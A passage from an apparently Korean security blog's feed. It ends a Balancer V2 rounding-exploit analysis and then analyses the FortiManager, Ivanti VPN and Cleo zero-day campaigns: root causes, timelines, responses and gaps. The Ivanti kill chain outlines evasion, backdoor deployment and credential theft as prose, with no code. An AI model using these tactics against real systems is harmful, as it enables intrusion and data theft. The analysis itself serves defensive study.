&lt;td&gt;단순 overflow/underflow 외에 &lt;strong&gt;경제적 불변성(economic invariant)&lt;/strong&gt; 검증 포함&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;9.3 프로토콜 운영자를 위한 교훈&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;교훈&lt;/th&gt;
&lt;th&gt;구체적 조치&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;멀티체인 배포 = 멀티체인 위험&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;한 체인에서 익스플로잇 발견 시 모든 체인 동시 정지 가능한 체계 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;포크 프로젝트 알림 체계&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;원본 프로토콜의 취약점이 모든 포크에 전파 — 신속한 알림 네트워크 구축&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;탐지 우회 인지&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2단계 분리(익스플로잇 + 인출)로 실시간 탐지를 우회하는 패턴 대비&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;10. 요약&lt;/h2&gt;
&lt;p&gt;Balancer V2 익스플로잇은 &lt;strong&gt;&amp;quot;1 wei의 반올림 오차&amp;quot;&lt;/strong&gt;가 어떻게 &lt;strong&gt;$128M의 피해&lt;/strong&gt;로 확대될 수 있는지를 보여준 사건이다.&lt;/p&gt;
&lt;p&gt;근본 원인은 단순하다: &lt;code&gt;_upscale()&lt;/code&gt; 함수가 &lt;code&gt;mulDown&lt;/code&gt;만 지원하여, &lt;code&gt;swapGivenOut&lt;/code&gt;에서 사용자가 받는 양이 내림 처리됨으로써 풀이 손해를 보는 방향으로 라운딩이 적용되었다. 이 오차는 정상 거래에서는 무시할 수 있었지만, 공격자가 잔액을 극소량으로 유도한 후 65회 반복 스왑으로 누적시키면서 BPT 가격을 대폭 왜곡할 수 있었다.&lt;/p&gt;
&lt;p&gt;이 사건이 남긴 가장 중요한 메시지:&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;&lt;strong&gt;DeFi에서 &amp;quot;작은 수학적 오차&amp;quot;는 존재하지 않는다. 공격자는 그 오차를 증폭시킬 방법을 반드시 찾아낸다.&lt;/strong&gt;&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blocksecteam.medium.com/in-depth-analysis-the-balancer-v2-exploit-9552f6442437&quot;&gt;BlockSec - In-Depth Analysis: The Balancer V2 Exploit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blocksec.com/blog/balancer-v2-incident-a-rounding-inconsistency-breaks-the-invariant-and-propagates-across-chains&quot;&gt;BlockSec - Rounding Inconsistency Breaks the Invariant&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.certora.com/blog/breaking-down-the-balancer-hack&quot;&gt;Certora - Balancer Exploit Explained: What Went Wrong and Why V3 Is Safe&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://research.checkpoint.com/2025/how-an-attacker-drained-128m-from-balancer-through-rounding-error-exploitation/&quot;&gt;Check Point Research - How an Attacker Drained $128M from Balancer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.halborn.com/blog/post/explained-the-balancer-hack-november-2025&quot;&gt;Halborn - Explained: The Balancer Hack (November 2025)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.trailofbits.com/2025/11/07/balancer-hack-analysis-and-guidance-for-the-defi-ecosystem/&quot;&gt;Trail of Bits - Balancer Hack Analysis and Guidance&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.openzeppelin.com/news/understanding-the-balancer-v2-exploit&quot;&gt;OpenZeppelin - Understanding the Balancer V2 Exploit&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Documentation &amp;amp; Blog</category>
      <author>KWAKBUMJUN</author>
      <guid isPermaLink="true">https://reversing-study.tistory.com/102</guid>
      <comments>https://reversing-study.tistory.com/102#entry102comment</comments>
      <pubDate>Mon, 6 Apr 2026 01:23:26 +0900</pubDate>
    </item>
    <item>
      <title>최신 보안사례 분석</title>
      <link>https://reversing-study.tistory.com/101</link>
      <description>&lt;h2&gt;1. 개요&lt;/h2&gt;
&lt;p&gt;2024~2025년에도 웹 기반 공격은 사이버 침해의 가장 주요한 경로였다. 특히 주목할 점은 공격 대상이 &lt;strong&gt;일반 웹 애플리케이션&lt;/strong&gt;이 아니라 &lt;strong&gt;보안 장비/VPN/파일 전송 솔루션&lt;/strong&gt;과 같은 인프라 관리 시스템이라는 것이다. 이 시스템들은 인터넷에 직접 노출되면서도, 내부 네트워크로의 관문(Gateway) 역할을 하기 때문에 공격자에게 극도로 높은 가치를 가진다.&lt;/p&gt;
&lt;p&gt;본 보고서에서 분석하는 3개 사례는 모두 다음 공통점을 가진다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;웹 인터페이스&lt;/strong&gt;를 통해 공격이 시작됨&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;인증 우회&lt;/strong&gt; 또는 &lt;strong&gt;인증 없는 원격 코드 실행(RCE)&lt;/strong&gt;이 가능&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;제로데이(0-day)&lt;/strong&gt; 상태에서 실제 공격에 악용됨&lt;/li&gt;
&lt;li&gt;국가 지원 APT 또는 대규모 랜섬웨어 그룹이 관여&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;사례 선정 요약&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;사례&lt;/th&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;공격 시작&lt;/th&gt;
&lt;th&gt;위험도&lt;/th&gt;
&lt;th&gt;공격 주체&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Fortinet FortiManager &amp;quot;FortiJump&amp;quot;&lt;/td&gt;
&lt;td&gt;CVE-2024-47575&lt;/td&gt;
&lt;td&gt;2024.06&lt;/td&gt;
&lt;td&gt;CVSS 9.8&lt;/td&gt;
&lt;td&gt;UNC5820 (미상)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Ivanti Connect Secure VPN&lt;/td&gt;
&lt;td&gt;CVE-2025-0282&lt;/td&gt;
&lt;td&gt;2024.12&lt;/td&gt;
&lt;td&gt;CVSS 9.0&lt;/td&gt;
&lt;td&gt;UNC5337 (중국 연계)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Cleo 파일 전송 솔루션&lt;/td&gt;
&lt;td&gt;CVE-2024-50623&lt;/td&gt;
&lt;td&gt;2024.12&lt;/td&gt;
&lt;td&gt;CVSS 8.8&lt;/td&gt;
&lt;td&gt;Cl0p 랜섬웨어&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;2. 사례 1: Fortinet FortiManager 제로데이 — &amp;quot;FortiJump&amp;quot; (CVE-2024-47575)&lt;/h2&gt;
&lt;h3&gt;2.1 사고 개요&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;취약점&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CVE-2024-47575 (CVSS 9.8)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;별칭&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;FortiJump&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;영향 제품&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Fortinet FortiManager — 방화벽/네트워크 장비 중앙 관리 플랫폼&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;취약점 유형&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Missing Authentication for Critical Function (CWE-306)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;공격 주체&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;UNC5820 (Mandiant 추적, 미상 위협 그룹)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;공격 시작&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2024년 6월 27일 (최초 관찰)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;공개일&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2024년 10월 23일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;피해 규모&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;50개 이상 조직의 FortiManager 침해&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;2.2 근본 원인&lt;/h3&gt;
&lt;p&gt;FortiManager의 &lt;code&gt;fgfmd&lt;/code&gt; 데몬(FortiGate-to-FortiManager 프로토콜 처리)에 &lt;strong&gt;인증 메커니즘이 누락&lt;/strong&gt;되어 있었다. 이 데몬은 FortiGate 방화벽이 FortiManager에 등록하고 설정을 동기화하는 데 사용되는데, 공격자가 &lt;strong&gt;인증 없이 임의의 FortiManager에 접속하여 관리 명령을 실행&lt;/strong&gt;할 수 있었다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[정상 동작]
FortiGate 방화벽 ──(fgfmd 프로토콜, 인증됨)──→ FortiManager
                                                   │
                                              설정 관리, 정책 배포

[공격 시나리오]
공격자 제어 서버 ──(fgfmd 프로토콜, 인증 없음!)──→ FortiManager
                                                     │
                                              설정 탈취, 임의 명령 실행&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;핵심:&lt;/strong&gt; 인터넷에 노출된 관리 프로토콜에 인증이 없었다는 것은, 사실상 관리자 콘솔을 인터넷에 비밀번호 없이 공개한 것과 같다.&lt;/p&gt;
&lt;h3&gt;2.3 공격 과정&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;[타임라인]

2024.06.27 ─ UNC5820, 최초 FortiManager 익스플로잇 (제로데이)
     │
     ├── fgfmd 프로토콜로 FortiManager 접속 (인증 불필요)
     ├── FortiGate 방화벽 설정 데이터 덤프
     │     └── IP, 라우팅, VPN 설정, 사용자 정보, FortiOS256 해시 비밀번호
     ├── /tmp/.tm 경로에 Gzip 압축 아카이브로 스테이징
     └── 데이터 외부 반출

2024.09.23 ─ 동일 지표로 2차 익스플로잇 관찰

2024.10.23 ─ Fortinet, CVE-2024-47575 공식 보안 권고 발표
2024.10.30 ─ CISA, 업데이트된 IOC 및 가이드라인 발표&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;2.4 대응 및 조치&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Fortinet의 대응:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;긴급 패치 릴리스 (FortiManager 7.x, 6.x 버전별)&lt;/li&gt;
&lt;li&gt;IOC(Indicators of Compromise) 공개 — 공격자 IP, 파일 경로, 로그 패턴&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fgfmd&lt;/code&gt; 데몬에 인증 메커니즘 추가&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;CISA의 대응:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Known Exploited Vulnerabilities(KEV) 카탈로그에 추가&lt;/li&gt;
&lt;li&gt;연방 기관에 21일 내 패치 의무화&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.5 보완이 미흡했던 부분&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;미흡 영역&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4개월 노출&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;6월 최초 공격 → 10월 공개. 4개월간 제로데이 상태로 방치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;설계적 결함&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;핵심 관리 프로토콜에 인증 미구현 — 단순 패치가 아닌 &lt;strong&gt;아키텍처 수준의 결함&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;피해 탐지 지연&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;50개+ 조직이 침해되었으나, 대부분 Mandiant 통보 전까지 인지하지 못함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;하위 장비 연쇄 피해&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;FortiManager가 관리하는 모든 FortiGate 방화벽의 설정/비밀번호가 유출 → 추가 침해 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;3. 사례 2: Ivanti Connect Secure VPN 제로데이 (CVE-2025-0282)&lt;/h2&gt;
&lt;h3&gt;3.1 사고 개요&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;취약점&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CVE-2025-0282 (CVSS 9.0)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;영향 제품&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Ivanti Connect Secure — 기업용 SSL VPN 어플라이언스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;취약점 유형&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Stack-Based Buffer Overflow (CWE-121)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;공격 주체&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;UNC5337 (중국 연계 APT), 기타 미상 그룹&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;공격 시작&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2024년 12월 중순&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;공개일&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2025년 1월 8일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;피해 규모&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;다수 국가/산업군의 VPN 어플라이언스 침해&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;3.2 근본 원인&lt;/h3&gt;
&lt;p&gt;Ivanti Connect Secure의 웹 인터페이스에서 &lt;strong&gt;스택 기반 버퍼 오버플로우&lt;/strong&gt; 취약점이 존재했다. 인증 없이 원격에서 조작된 HTTP 요청을 보내면 스택의 리턴 주소를 덮어써 &lt;strong&gt;임의 코드 실행(RCE)&lt;/strong&gt;이 가능했다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[취약한 코드 흐름 (추정)]

HTTP 요청 수신
    ↓
특정 파라미터 파싱
    ↓
고정 크기 스택 버퍼에 입력값 복사 (길이 검증 없음)
    ↓
버퍼 오버플로우 → 리턴 주소 덮어쓰기
    ↓
공격자 셸코드 실행 (root 권한)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;핵심:&lt;/strong&gt; 2020년대에도 스택 버퍼 오버플로우가 인터넷에 노출된 보안 장비에 존재한다는 것 자체가 충격적이다. 이는 해당 코드가 메모리 안전하지 않은 언어(C/C++)로 작성되었고, ASLR/Stack Canary 등의 보호 기법이 부족했음을 시사한다.&lt;/p&gt;
&lt;h3&gt;3.3 공격 과정&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;[공격 킬 체인]

① 정찰
   └── 특정 URL 쿼리로 ICS 어플라이언스 버전 식별
       (VPS/Tor에서 스캔하여 신원 은닉)

② 초기 침투
   └── CVE-2025-0282 버퍼 오버플로우 → 인증 없이 RCE (root)

③ 흔적 제거 (즉시 수행)
   ├── SELinux 비활성화
   ├── iptables로 syslog 전송 차단 (로그 유출 방지)
   └── 루트 파티션 쓰기 가능으로 리마운트

④ 악성코드 배포
   ├── SPAWN 계열: SPAWNANT(인스톨러), SPAWNMOLE(터널러), SPAWNSNAIL(SSH 백도어)
   ├── DRYHOOK: 자격증명 수집
   └── PHASEJAM: 웹셸

⑤ 내부 확산
   ├── nmap, dig으로 내부 네트워크 정찰
   ├── LDAP 서비스 계정 악용하여 횡이동
   └── 세션 쿠키, API 키, 자격증명 데이터베이스 탈취

⑥ 데이터 유출
   └── 어플라이언스 DB 캐시를 아카이브하여 스테이징 → 외부 반출&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;3.4 대응 및 조치&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Ivanti의 대응:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2025년 1월 8일 보안 권고 및 패치 릴리스&lt;/li&gt;
&lt;li&gt;Integrity Checker Tool(ICT) 배포 — 어플라이언스 변조 여부 검증&lt;/li&gt;
&lt;li&gt;공장 초기화(Factory Reset) 후 패치 적용 권고&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Mandiant/Google의 대응:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;상세 기술 분석 보고서 공개&lt;/li&gt;
&lt;li&gt;악성코드 패밀리별 IOC 공개 (SPAWN, DRYHOOK, PHASEJAM)&lt;/li&gt;
&lt;li&gt;UNC5337 위협 클러스터 추적&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;CISA의 대응:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;긴급 지시(ED 25-01): 연방 기관에 Ivanti 어플라이언스 격리 또는 패치 의무화&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.5 보완이 미흡했던 부분&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;미흡 영역&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;반복되는 Ivanti 제로데이&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2024년 1월에도 CVE-2023-46805 + CVE-2024-21887 체인으로 대규모 공격 발생. &lt;strong&gt;1년 만에 또 제로데이&lt;/strong&gt; — 제품의 코드 품질 근본 문제&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;패치가 불완전&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;초기 패치 후에도 추가 취약점(CVE-2025-0283) 발견. PoC 공개(1월 16일)로 2차 공격 급증&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ICT 도구의 한계&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Ivanti의 무결성 검증 도구를 공격자가 우회하는 사례 관찰 — PHASEJAM이 ICT 업그레이드 프로세스 자체를 후킹&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;메모리 안전성&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;C/C++로 작성된 VPN 스택에서 2025년에도 버퍼 오버플로우 발생 — Rust/Go 등 메모리 안전 언어로의 전환 필요성&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;4. 사례 3: Cleo 파일 전송 소프트웨어 — Cl0p 랜섬웨어 캠페인 (CVE-2024-50623)&lt;/h2&gt;
&lt;h3&gt;4.1 사고 개요&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;취약점&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CVE-2024-50623 (CVSS 8.8), CVE-2024-55956&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;영향 제품&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cleo Harmony, VLTrader, LexiCom — 기업용 관리형 파일 전송(MFT)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;취약점 유형&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unrestricted File Upload/Download → RCE (CWE-434)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;공격 주체&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cl0p (CL0P) 랜섬웨어 그룹&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;공격 시작&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2024년 12월 3일 (최초 관찰)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;피해 규모&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;최소 66개 기업, 데이터 유출 + 랜섬 협박&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;4.2 근본 원인&lt;/h3&gt;
&lt;p&gt;Cleo 파일 전송 소프트웨어의 웹 인터페이스에서 &lt;strong&gt;파일 업로드/다운로드에 대한 제한이 없어&lt;/strong&gt; 공격자가 임의 파일을 서버에 업로드하고 실행할 수 있었다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[취약한 동작]

정상: 클라이언트 → (인가된 파일 전송) → Cleo 서버 → 비즈니스 파트너

공격: 공격자  → (악성 파일 업로드, 제한 없음!) → Cleo 서버
                                                    ↓
                                            업로드된 웹셸/백도어 실행
                                                    ↓
                                            서버 장악, 데이터 탈취&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;핵심:&lt;/strong&gt; 이것은 웹 보안의 가장 기본적인 취약점 — &lt;strong&gt;무제한 파일 업로드(Unrestricted File Upload)&lt;/strong&gt; — 이 기업용 파일 전송 솔루션에 존재했다는 것이다. OWASP Top 10에 수년간 포함된 클래식 취약점이 2024년의 상용 제품에서 발견된 것은 심각한 문제다.&lt;/p&gt;
&lt;h3&gt;4.3 공격 과정&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;[Cl0p의 공격 타임라인]

2024.10    CVE-2024-50623 공개, Cleo 5.8.0.21에서 패치 주장
           ↓ (패치가 불완전 — Huntress에 의해 확인)

2024.12.03 공격 시작 (패치 우회하여 익스플로잇)
           ├── 악성 파일 업로드 → 웹셸 설치
           ├── 백도어를 통한 명령 실행
           └── 내부 데이터 접근

2024.12.08 Huntress, 공격 급증 관찰 (07:00 UTC 기준)
           └── 최소 10개 기업 Cleo 서버 침해 확인

2024.12.13 CISA, CVE-2024-50623을 KEV 카탈로그에 추가

2024.12.15 CVE-2024-55956 추가 발견 (2차 취약점)
           └── CISA, KEV에 추가 (대응 기한: 2025.01.07)

2024.12.24 Cl0p, 리크 사이트에서 66개 기업 명단 공개
           └── &amp;quot;48시간 내 협상하지 않으면 데이터 공개&amp;quot;

2025.01~   피해 기업 명단 지속 추가, 데이터 리크 진행&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;4.4 Cl0p의 전략적 패턴&lt;/h3&gt;
&lt;p&gt;Cl0p은 &lt;strong&gt;파일 전송 솔루션을 연쇄적으로 공격&lt;/strong&gt;하는 패턴을 보여왔다:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;시기&lt;/th&gt;
&lt;th&gt;대상&lt;/th&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;피해&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;2023.01&lt;/td&gt;
&lt;td&gt;GoAnywhere MFT&lt;/td&gt;
&lt;td&gt;CVE-2023-0669&lt;/td&gt;
&lt;td&gt;130+ 조직&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2023.05&lt;/td&gt;
&lt;td&gt;MOVEit Transfer&lt;/td&gt;
&lt;td&gt;CVE-2023-34362&lt;/td&gt;
&lt;td&gt;2,500+ 조직&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2024.12&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Cleo Harmony/VLTrader&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;CVE-2024-50623&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;66+ 조직&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;패턴:&lt;/strong&gt; Cl0p은 파일 전송 솔루션의 제로데이를 사전에 확보한 후, 대규모로 동시 공격하여 데이터를 탈취하고 랜섬을 요구한다. 이 그룹은 파일 암호화 없이 &lt;strong&gt;데이터 탈취만으로 협박&lt;/strong&gt;하는 전략을 사용한다.&lt;/p&gt;
&lt;h3&gt;4.5 대응 및 조치&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Cleo의 대응:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;5.8.0.21 패치 릴리스 (불완전 → 추가 패치 릴리스)&lt;/li&gt;
&lt;li&gt;고객 통보 및 업그레이드 권고&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;CISA의 대응:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;KEV 카탈로그에 두 CVE 모두 추가&lt;/li&gt;
&lt;li&gt;연방 기관에 긴급 패치 기한 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4.6 보완이 미흡했던 부분&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;미흡 영역&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;불완전 패치&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cleo가 &amp;quot;패치 완료&amp;quot;라고 발표한 5.8.0.21이 실제로는 여전히 취약. &lt;strong&gt;패치 검증 프로세스 부재&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MFT 솔루션의 구조적 취약성&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;파일 전송 솔루션은 설계상 파일 업로드/다운로드를 허용 — 이 기능 자체가 공격 표면. 업로드 파일에 대한 무결성/실행 방지가 필수적이나 미구현&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cl0p 패턴 미학습&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;GoAnywhere, MOVEit에 이어 3번째 MFT 공격. 업계가 &lt;strong&gt;Cl0p의 MFT 타겟팅 패턴을 인지했음에도 방어 태세 미비&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;탐지 지연&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;12월 3일 최초 공격 → 12월 8일 탐지 → 5일간 무방비 노출&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;5. 3개 사례 비교 분석&lt;/h2&gt;
&lt;h3&gt;5.1 공통점과 차이점&lt;/h3&gt;
&lt;table&gt;
